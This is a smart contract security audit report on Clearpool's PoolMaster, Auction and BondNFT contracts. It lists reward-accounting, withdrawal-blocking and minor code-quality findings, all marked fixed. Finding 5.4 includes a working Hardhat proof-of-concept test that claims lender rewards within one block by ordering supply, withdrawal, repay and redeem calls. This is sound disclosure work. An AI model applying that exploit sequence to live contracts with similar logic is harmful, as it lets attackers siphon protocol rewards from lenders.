Smart Contract Security Audit Report

Clearpool

1. Contents

1. Contents 2
2. General Information 3
2.1. Introduction 3
2.2. Scope of Work 3
2.3. Threat Model 3
2.4. Weakness Scoring 4
2.5. Disclaimer 4
3. Summary 4
3.1. Suggestions 4
4. General Recommendations 6
4.1. Security Process Improvement 6
5. Findings 7
5.1. Lenders may receive more rewards then than they should 7
5.2. Manipulation of `_unpaidRounds` can block withdrawals 7
5.3. The rewards can be abused within 1 block via NFT transfer 8
5.4. The rewards can be abused within 1 block 9
5.5. The rewards can be doubled 12
5.6. Possibility of overwriting of bond`TokenId` 13
5.7. Lack of auction duration validation 14
5.8. `_accrueRoundReward` call in cycle 14
5.9. Insufficient reentrancy protection 15
5.10. Unnecessary storage read 15
5.11. Dead code 17
5.12. Misleading comment 17
5.13. Unreachable functions 18
6. Appendix 19
6.1. About us 19

2. General Information

This report contains information about the results of the security audit of the Clearpool (hereafter referred to as "Customer") smart contracts, conducted by Decurity in the period from 02/12/2024 to 03/01/2024.

2.1. Introduction

Tasks solved during the work are:

- Review the protocol design and the usage of 3rd party dependencies,
- Audit the contracts implementation,
- Develop the recommendations and suggestions to improve the security of the contracts.

2.2. Scope of Work

The audit scope included the contracts in the following repository: https://github.com/clearpool-finance/open-term-pools. Initial review was done for the commit 938da3494c14cec81f4a18f6ead5667ac7b4dcc6 and the re-testing was done for the commit bb306db73026053973db4e7ae2808875ba1598ff.

2.3. Threat Model

The assessment presumes the actions of an intruder who might have the capabilities of any role. The main possible threat actors are:

- Borrower,
- Lender,
- Protocol owner,
- 3rd parties (such as asset owner/contract).

2.4. Weakness Scoring

An expert evaluation scores the findings in this report, and the impact of each vulnerability is calculated based on its ease of exploitation (based on the industry practice and our experience) and severity (for the considered threats).

2.5. Disclaimer

Due to the intrinsic nature of the software and vulnerabilities and the changing threat landscape, it cannot be generally guaranteed that a certain security property of a program holds.

Therefore, this report is provided “as is” and is not a guarantee that the analyzed system does not contain any other security weaknesses or vulnerabilities. Furthermore, this report is not an endorsement of the Customer’s project, nor is it an investment advice.

That being said, Decurity exercises the best effort to perform its contractual obligations and follow the industry methodologies to discover as many weaknesses as possible and maximize the audit coverage using limited resources.

3. Summary

As a result of this work, we have discovered 2 high-risk exploitable security issues.

The other suggestions included fixing the low-risk issues and some best practices (see Security Process Improvement).

3.1. Suggestions

The table below contains the discovered issues, their risk level, and their status as of February 23, 2024.

Table. Discovered weaknesses

Issue	Contract	Risk Level	Status
Lenders may receive more rewards then than they should	contracts/PoolMaster.sol	High	Fixed
Manipulation of `_unpaidRounds` can block withdrawals	contracts/PoolMaster.sol	High	Fixed
The rewards can be abused within 1 block via NFT transfer	contracts/PoolMaster.sol	High	Fixed
The rewards can be abused within 1 block	contracts/PoolMaster.sol	High	Fixed
The rewards can be doubled	contracts/PoolMaster.sol	High	Fixed
Possibility of overwriting of `bondTokenId`	contracts/PoolMaster.sol	Low	Fixed
Lack of auction duration validation	contracts/Auction.sol	Low	Fixed
`_accrueRoundReward` call in cycle	contracts/PoolMaster.sol	Info	Fixed
Insufficient reentrancy protection	contracts/PoolMaster.sol	Info	Fixed
Unnecessary storage read	contracts/PoolMaster.sol	Info	Fixed
Dead code	contracts/PoolMaster.sol	Info	Fixed
Misleading comment	contracts/Auction.sol	Info	Fixed
Unreachable functions	contracts/BondNFT.sol	Info	Fixed

4. General Recommendations

This section contains general recommendations on how to improve the overall security level.

The Findings section contains technical recommendations for each discovered issue.

4.1. Security Process Improvement

The following is a brief long-term action plan to mitigate further weaknesses and bring the product security to a higher level:

- Keep the whitepaper and documentation updated to make it consistent with the implementation and the intended use cases of the system,
- Perform regular audits for all the new contracts and updates,
- Ensure the secure off-chain storage and processing of the credentials (e.g. the privileged private keys),
- Launch a public bug bounty campaign for the contracts.

5. Findings

5.1. Lenders may receive more rewards then than they should

Risk Level: **High**

Status: It was introduced in the commit 7a54e2 and fixed in commit 0bc3ba.

Contracts:

- contracts/PoolMaster.sol

Description:

As stated, users should receive round rewards until repay function is invoked. Let's assume borrower has decided to repay in the middle of repayment round. After that someone else has requested withdrawal in the same round and borrower has repaid after some time. In that case rewards for the first user will accrue until second repayment date, because `_accrueRoundReward` will be triggered in `repay` function.

Remediation:

Consider tracking round rewards via bond ids.

5.2. Manipulation of `_unpaidRounds` can block withdrawals

Risk Level: **High**

Status: Introduced in commit 7a54e2. Fixed in commit 43a628.

Contracts:

- contracts/PoolMaster.sol

Description:

There is an ability to manipulate `_unpaidRounds` via the `requestWithdrawal()` function. In the case of info.paidAt != 0, the value of `_unpaidRounds` can be set to any value.

```
contracts/PoolMaster.sol:
  341:     if (info.bondTokenId == 0) {
  342:       /// Increasing `_bondNFTIdCounter` only if the repayment round is
different;
```

```
      _bondNFTIdCounter += 1;
      info.bondTokenId = _bondNFTIdCounter;

      // Block withdrawals in case there are already 2 active repayment rounds
      if (_unpaidRounds == 2) revert ActionNotAllowed();
      ++_unpaidRounds;
    } else if (info.paidAt != 0) {
      // the current round was paid already, but still may store withdrawals

      /// Increasing `_bondNFTIdCounter` so the new withdrawals can have different exchange rate;
      _bondNFTIdCounter += 1;
      info.bondTokenId = _bondNFTIdCounter;

      /// @dev use-case when there are multiple payment for the same round
      ++_unpaidRounds;
    }
```

The value should not be incremented every time the function is called in an already paid round. If in one round the value is set to 3 and a repay occurs, the value of `_unpaidRounds` will become equal to 2, which will lead to withdrawals being blocked.

Remediation:

Consider incrementing the `_unpaidRounds` value only if the round was repaid.

5.3. The rewards can be abused within 1 block via NFT transfer

Risk Level: **High**

Status: Fixed in commit 543a92.

Contracts:

- contracts/PoolMaster.sol

Description:

In commit 7a54e2 to prevent reward abuse in one block, developers added a `decreaseRewardCorrection()` during the`requestWithdrawal()` call.

However, rewards in one block can still be abused through the transfer of ERC 1155 tokens. To receive rewards, an attacker can transfer the bondNFT to another account after receiving it.

When the `redeemBond()` function is called, `increaseRewardCorrection` will be executed on the new account where the `magnifiedRewardCorrections` is not negative, allowing an attacker to collect the reward in the same block.

Remediation:

Consider tracking reward corrections when a transfer of the bondNFT occurs.

5.4. The rewards can be abused within 1 block

Risk Level: **High**

Status: Partially fixed in commit 7a54e2, the issue could be bypassed via BondNFT transfer. It was totally fixed in commit 543a92.

Contracts:

- contracts/PoolMaster.sol

Description:

In case if the `repay` function is called when `block.timestamp == currentRepaymentDate` and `minimumNoticePeriod` is set to 0, a malicious user can call `supply` , `requestWithdrawal` and `redeemBond` within same block, thus receiving all rewards that have accrued during this round.

The order of calls should be the following:

- `supply`
- `requestWithdrawal`
- `repay`
- `redeemBond`

When user calls supply, his reward correction is decreased in `_mint` function by x. Then when he calls withdrawal, his reward correction is increased in `_transfer` function by x again, because nothing has changed within one block, so his current `magnifiedRewardCorrection[aset][account]` equals 0.

Then borrower calls `repay` and user can redeem his bond. When user redeems his bond he gets an increase of `magnifiedRewardCorrections` , that equals his bond balance multiplied by `magnifiedRewardPerShare` that has accumulated during this round.

As a result user can claim rewards without a need to actually provide tokens to borrower.

A probability that this will occur is pretty low, since `block.timestamp == currentRepaymentDate`, however this abuse can be intentionally forced by borrower.

Since this supply is redeemed within one block it's not obligated by protocol fees and borrower can use a second account to impersonate lender in order to abuse protocol rewards.

POC:

Insert this in PoolMaster.test.ts

```
it('POC rewards abuse', async() => {
        const { masterPool, factory, lender1, lender2, borrower1, asset } =
await loadFixture(createPool);
        const amountToMint = utils.parseUnits('200000', assetDecimals);

        //lender 1 amount to supply
        const amountToSupply = utils.parseUnits('1000', assetDecimals);

        //lender 2 amount to supply
        const amount2Supply = utils.parseUnits('5000', assetDecimals);

        //minting reward tokens to factory address
        await asset.connect(lender1).mint(factory.address, amountToMint);

        //minting tokens to lender1
        await asset.connect(lender1).mint(lender1.address, amountToMint);
        await asset.connect(lender1).approve(masterPool.address,
amountToSupply);

        //minting tokens to lender2
        await asset.connect(lender2).mint(lender2.address, amountToMint);
        await asset.connect(lender2).approve(masterPool.address,
amount2Supply);

        //minting tokens to borrower1`
        await asset.connect(borrower1).mint(borrower1.address, amountToMint);
        await asset.connect(borrower1).approve(masterPool.address,
amountToMint);

        const borrower1_initial_balance = await
asset.balanceOf(borrower1.address);
        console.log("borrower1 initial balance", borrower1_initial_balance);

        const lender1_initial_balance = await
asset.balanceOf(lender1.address);
        console.log("lender1 initial balance", lender1_initial_balance);

        const lender2_initial_balance = await
```

```
asset.balanceOf(lender2.address);
        console.log("lender1 initial balance", lender2_initial_balance);

        //lender1 supplies his tokens
        await masterPool.connect(lender1).supply(amountToSupply);

        let lender1_balance = await masterPool.balanceOf(lender1.address);

        //lender1 requests withdrawal
        await masterPool.connect(lender1).requestWithdrawal(lender1_balance);

        const nextRepDate = await masterPool.currentRepaymentDate();

        //setting notice period to 0
        await masterPool.connect(borrower1).changeNoticePeriod(0);

        //all next txs until evm_mine call will be processed in one block
        await network.provider.send("evm_setAutomine", [false]);

        //setting next block timestamp to repayment date
        await time.setNextBlockTimestamp(nextRepDate);

        await masterPool.accrueInterest();

        //lender2 supplies
        await masterPool.connect(lender2).supply(amount2Supply);

        //lender2 requests withdrawal
        await masterPool.connect(lender2).requestWithdrawal("4972752048");

        //borrower1 repays
        await masterPool.connect(borrower1).repay();

        //lender2 redeems his bond
        await masterPool.connect(lender2).redeemBond(1);

        await network.provider.send("evm_mine");
        await network.provider.send("evm_setAutomine", [true]);

        const lender2_rewards = await
masterPool.withdrawableRewardOf(asset.address, lender2.address);
        console.log("lender2 total rewards:", lender2_rewards);

        await factory.connect(lender2).withdrawReward(asset.address,
[masterPool.address])

        await masterPool.connect(lender1).redeemBond(1);

        const lender1_rewards = await
```

```
masterPool.withdrawableRewardOf(asset.address, lender1.address);
        console.log("lender1 total rewards:", lender1_rewards);

        await factory.connect(lender1).withdrawReward(asset.address,
[masterPool.address]);

        const lender1_final_balance = await asset.balanceOf(lender1.address);
        console.log("lender 1 final balance", lender1_final_balance);

        let lender2_final_balance = await asset.balanceOf(lender2.address);
        console.log("lender 2 final balance", lender2_final_balance);

        let borrower1_final_balance = await
asset.balanceOf(borrower1.address);
        console.log("borrower1 final balance", borrower1_final_balance);

      })
```

Remediation:

Consider checking the exploit conditions in one of the invoked functions or tracking the block number in which they have been called by `msg.sender`.

5.5. The rewards can be doubled

Risk Level: High

Status: Fixed in the commit 7a54e2.

Contracts:

- contracts/PoolMaster.sol

Location: Lines: 612. Function: `_handleRoundRepay`.

Description:

Function `_handleRoundRepay` contains the following meaningless line:

```
rewardAssetInfo.roundLastDistribution[currentRepDate];
```

There should have been an assignment in this place but without it, the `roundLastDistribution` field is not updated and it's possible to receive the rewards 2 times by calling `repay` 2 times.

Remediation:

Assign the correct value:

```
rewardAssetInfo.roundLastDistribution[currentRepDate] = block.timestamp;
```

5.6. Possibility of overwriting of `bondTokenId`

Risk Level: Low

Status: Fixed in commit 43a628.

Contracts:

- contracts/PoolMaster.sol

Description:

If the current round was paid already, but still may store withdrawals, then there is a possibility of overwriting of `bondTokenId` in `repaymentRoundInfo`.

```
contracts/PoolMaster.sol:
    RepaymentRoundInfo storage info = repaymentRoundInfo[repDate];
    if (info.bondTokenId == 0) {
      /// Increasing `_bondNFTIdCounter` only if the repayment round is different;
      _bondNFTIdCounter += 1;
      info.bondTokenId = _bondNFTIdCounter;

      // Block withdrawals in case there are already 2 active repayment rounds
      if (_unpaidRounds == 2) revert ActionNotAllowed();
      ++_unpaidRounds;
    } else if (info.paidAt != 0) {
      // the current round was paid already, but still may store withdrawals

      /// Increasing `_bondNFTIdCounter` so the new withdrawals can have different exchange rate;
      _bondNFTIdCounter += 1;
      info.bondTokenId = _bondNFTIdCounter;

      /// @dev use-case when there are multiple payment for the same round
      ++_unpaidRounds;
    }
```

This will only cause `setExchangeRate()` to be called in `_handleRoundRepay()` with a different tokenId, and `roundInfo.exchangeRate` will be used in `redeemBond()` rather than `bondParams.exchangeRate` .

Remediation:

Consider updating the bondTokenId only if the round was paid.

5.7. Lack of auction duration validation

Risk Level: Low

Status: Fixed in commit 5fddfe.

Contracts:

- contracts/Auction.sol

Description:

The initialize() function does not validate the auctionDuration_ variable, in contrast to the setAuctionDuration() function that checks if the duration is greater than five days.

Remediation:

The initialize() function should also validate the auctionDuration_ variable to ensure it's greater than five days, similar to the setAuctionDuration() function. This would ensure consistency and prevent potential issues with auction duration.

5.8. _accrueRoundReward call in cycle

Risk Level: Info

Status: Introduced in commit 7a54e2, fixed in commit 43a628.

Contracts:

- contracts/PoolMaster.sol

Description:

```
contracts/PoolMaster.sol:
      RewardAsset.RewardAssetData[] memory _rewardAsset =
getRewardAssetInfo();
      for (uint256 i; i < _rewardAsset.length; i++) {
        _accrueRoundReward(repDate);
        rewardAssetInfo.decreaseRewardCorrection(
          _rewardAsset[i].asset,
          msg.sender,
          _amount,
  371:
rewardAssetInfo.magnifiedRoundRewardPerShare[repDate][_rewardAsset[i].asset]
  372:        );
  373:      }
```

The `_accrueRoundReward()` should not be called in cycle.

Remediation:

Consider calling this function before the cycle.

5.9. Insufficient reentrancy protection

Risk Level: Info

Status: Fixed in the commit 430335.

Contracts:

- contracts/PoolMaster.sol

Description:

There is a `nonReentrant` modifier in the functions that have external call to `asset`:

- `supply()`,
- `redeem()`,
- `redeemBond()`.

However, there are also external calls to `asset` in the internal function `_transferRepayment()` which is called in the `repay()` and `repayAll()` functions.

Remediation:

Consider adding the `nonReentrant` modifier to the `repay()` and `repayAll()` functions.

5.10. Unnecessary storage read

Risk Level: Info

Status: Fixed in commit daa86b.

Contracts:

- contracts/PoolMaster.sol

Description:

The `_overdueEntrance()` function returns or calculates the `overdueEntrance` value.

```
contracts/PoolMaster.sol:
  1343:   function _overdueEntrance() internal view returns (uint256) {
  1344:     uint256 repDate = currentRepaymentDate();
  1345:
  1346:     // if the pool is already in overdue period return the entering
date
  1347:     if (_info.overdueEntrance != 0) {
  1348:       return _info.overdueEntrance;
  1349:     }
  1350:
  1351:     // if the current timestamp pass the repayment date return the
entering date
  1352:     if (
  1353:       block.timestamp > repDate &&
  1354:       (repaymentRoundInfo[repDate].debtAmount > 0 ||
_fullRepaymentDate != 0)
  1355:     ) {
  1356:       return repDate;
  1357:     }
  1358:     return _info.overdueEntrance;
  1359:   }
```

The value that this function returns on 1358 line can be change to `0` because it's the only possible scenario here.

The `_transferRepayment()` function is reading storage variable `borrower` twice during execution. It doesn't necessary because of the `onlyBorrower` modifier in `repay()` and `repayAll()` where this function is using.

```
contracts/PoolMaster.sol:
  618:   function _transferRepayment(uint256 amount, uint256 penaltyAmount,
uint256 feesAmount) internal {
  619:     if (feesAmount > 0) {
  620:       // transfer the fees amount to the treasury
  621:       asset.safeTransferFrom(borrower, poolFactory.treasury(),
feesAmount);
  622:     }
  623:     asset.safeTransferFrom(borrower, address(this), amount +
penaltyAmount);
  624:   }
```

Remediation:

For the `_overdueEntrance()` function, refactor the function to return `0` on line 1358. For the `_transferRepayment()` function, consider using a `msg.sender` to avoid unnecessary storage reads. These changes will help to optimize the gas usage of the contract.

5.11. Dead code

Risk Level: Info

Status: Fixed in commit 430335.

Contracts:

- contracts/PoolMaster.sol

Description:

The following code does nothing:

```
contracts/PoolMaster.sol:
  1237:      currentRepDate = currentRepDate;
```

Remediation:

Consider removing the line of code as it does not have any functional impact.

5.12. Misleading comment

Risk Level: Info

Status: Fixed in commit 5fddfe.

Contracts:

- contracts/Auction.sol

Description:

There is a comment about `_startAuction()` that says that only governor can call this function which is not true.

```
contracts/Auction.sol:
  380:   /**
  381:     * @notice Used to start auction for a specific pool
  382:     * @dev Only governor can call this function
  383:     * @param poolAddress Address of the pool
```

```
 */
function _startAuction(address poolAddress, uint256 amount) private {
  IPoolMaster pool = IPoolMaster(poolAddress);
```

Remediation:

Update the comment to accurately reflect the access control of the `_startAuction()` function. Ensure that comments throughout the codebase accurately represent the functionality they describe to avoid confusion and potential misuse.

5.13. Unreachable functions

Risk Level: Info

Status: Fixed in the commit 430335.

Contracts:

- contracts/BondNFT.sol

Description:

The `mintBatch()` and `burnBatch()` functions from BondNFT.sol are declared and implemented but are never called from anywhere in the code, making them unreachable.

Remediation:

Remove these functions if they are not necessary for future development or ensure that they are properly utilized within the code if they are needed.

6. Appendix

6.1. About us

The Decurity team consists of experienced hackers who have been doing application security assessments and penetration testing for over a decade.

During the recent years, we've gained expertise in the blockchain field and have conducted numerous audits for both centralized and decentralized projects: exchanges, protocols, and blockchain nodes.

Our efforts have helped to protect hundreds of millions of dollars and make web3 a safer place.